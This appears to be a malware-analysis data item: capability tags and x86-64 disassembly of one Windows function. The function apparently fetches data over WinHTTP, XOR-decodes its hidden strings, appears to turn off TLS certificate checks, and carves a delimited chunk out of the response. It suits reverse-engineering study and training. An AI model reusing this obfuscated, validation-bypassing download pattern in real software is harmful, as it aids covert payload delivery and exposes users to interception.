Function at 0x14000213c
Capabilities:
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x228]
sub rsp, 0x300
xor r14b, r14b
mov esi, r8d
mov byte [rbp + 0x248], r14b
mov r13, rdx
mov rdi, rcx
call fcn.140001c80
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rcx, rbx
mov r12, rax
call fcn.1400025b4
test r12, r12
je 0x1400024e6
mov ebx, 0x68
lea rcx, [rbp - 0x80]
mov r8d, ebx
xor edx, edx
call fcn.140002554
or eax, 0xffffffff
mov dword [rbp - 0x80], ebx
lea r9, [rbp - 0x80]
mov dword [rbp - 0x70], eax
xor r8d, r8d
mov dword [rbp - 0x30], eax
xor edx, edx
mov dword [rbp - 0x60], eax
mov rcx, rdi
mov dword [rbp - 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
je 0x1400024dd
mov r8d, dword [rbp - 0x60]
lea rcx, [rbp - 0x10]
mov rdx, qword [rbp - 0x68]
call fcn.140007d3c
cmp dword [rbp - 0x6c], 2
lea r8d, [rbx - 0x18]
mov ecx, 0x1bb
lea rdx, [rbp - 0x10]
cmove r8w, cx
xor r9d, r9d
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
test rax, rax
je 0x1400024dd
cmp dword [rbp - 0x6c], 2
mov eax, 0x800100
mov r14d, 0xa
mov dword [rsp + 0x48], 0x7221723e
mov ebx, 0x100
mov dword [rsp + 0x4c], 0x723a723d
mov edi, 0x726e
mov dword [rsp + 0x54], 0x8dc1726e
mov ecx, r14d
mov dword [rsp + 0x50], edi
cmove ebx, eax
call fcn.1400026b0
lea r8, [rsp + 0x48]
mov r10, rax
sub r8, rax
lea edx, [r14 - 5]
mov rcx, rax
mov eax, edi
xor ax, word [r8 + rcx]
mov word [rcx], ax
lea rcx, [rcx + 2]
sub rdx, 1
jne 0x140002277
mov r8, qword [rbp - 0x38]
xor r9d, r9d
mov dword [rsp + 0x30], ebx
mov rdx, r10
xor ebx, ebx
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
test rax, rax
je 0x1400024cd
cmp dword [rbp - 0x6c], 2
jne 0x140002304
mov dword [rsp + 0x40], ebx
lea r9, [rsp + 0x44]
mov ebx, 0x1f
mov dword [rsp + 0x44], 4
mov edx, ebx
lea r8, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
or dword [rsp + 0x40], 0x3300
lea r9d, [rbx - 0x1b]
lea r8, [rsp + 0x40]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov r9, r13
mov dword [rsp + 0x28], esi
or r8d, 0xffffffff
xor edx, edx
mov dword [rsp + 0x20], esi
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400024c4
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400024c4
mov edx, 0x100
lea rcx, [rsp + 0x60]
call fcn.14000e7e0
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000e6f0
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov rdx, rax
mov dword [rsp + 0x44], ebx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002399
mov edx, dword [rsp + 0x44]
lea rcx, [rsp + 0x60]
call fcn.14000e740
cmp dword [rsp + 0x40], ebx
ja 0x14000234d
cmp qword [rsp + 0x70], rbx
je 0x1400024ba
movdqa xmm0, xmmword [0x140011440]
mov ebx, SafeArrayUnaccessData
mov rsi, qword [rsp + 0x60]
mov ecx, ebx
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xa19fcf
mov dword [rsp + 0x5c], 0x8dc173a1
call fcn.1400026b0
lea r8, [rsp + 0x48]
mov r9, rax
sub r8, rax
mov rdx, rax
mov al, byte [r8 + rdx]
xor al, 0xa1
mov byte [rdx], al
inc rdx
sub rbx, 1
jne 0x1400023e7
mov rdx, r9
mov rcx, rsi
call fcn.140007b78
test rax, rax
je 0x1400024ba
mov rbx, qword [rsp + 0x60]
mov rcx, r14
mov byte [rbp + 0x248], 1
mov dword [rsp + 0x48], 0x8798c1cc
mov dword [rsp + 0x4c], 0xc4d1c4c1
mov dword [rsp + 0x50], 0xa587
mov dword [rsp + 0x54], 0x8dc173a5
call fcn.1400026b0
lea r8, [rsp + 0x48]
mov r9, rax
sub r8, rax
mov rdx, rax
mov al, byte [r8 + rdx]
xor al, 0xa5
mov byte [rdx], al
inc rdx
sub r14, 1
jne 0x14000244e
mov rdx, r9
mov rcx, rbx
call fcn.140007b78
test rax, rax
je 0x1400024ba
lea rdx, [0x14001142c]
mov rcx, rax
call fcn.140007b78
lea rdx, [0x140011430]
lea rbx, [rax + 1]
mov rcx, rbx
call fcn.140007b78
mov rsi, rax
sub esi, ebx
cmp esi, 0x20
jle 0x1400024ba
mov edx, esi
mov rcx, rbx
call fcn.140007a60
mov edx, esi
mov rcx, rax
mov rbx, rax
call fcn.140001cbc
mov rcx, rbx
call fcn.1400025b4
lea rcx, [rsp + 0x60]
call fcn.14000e7bc
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r14b, byte [rbp + 0x248]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea r11, [rsp + 0x300]
mov al, r14b
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret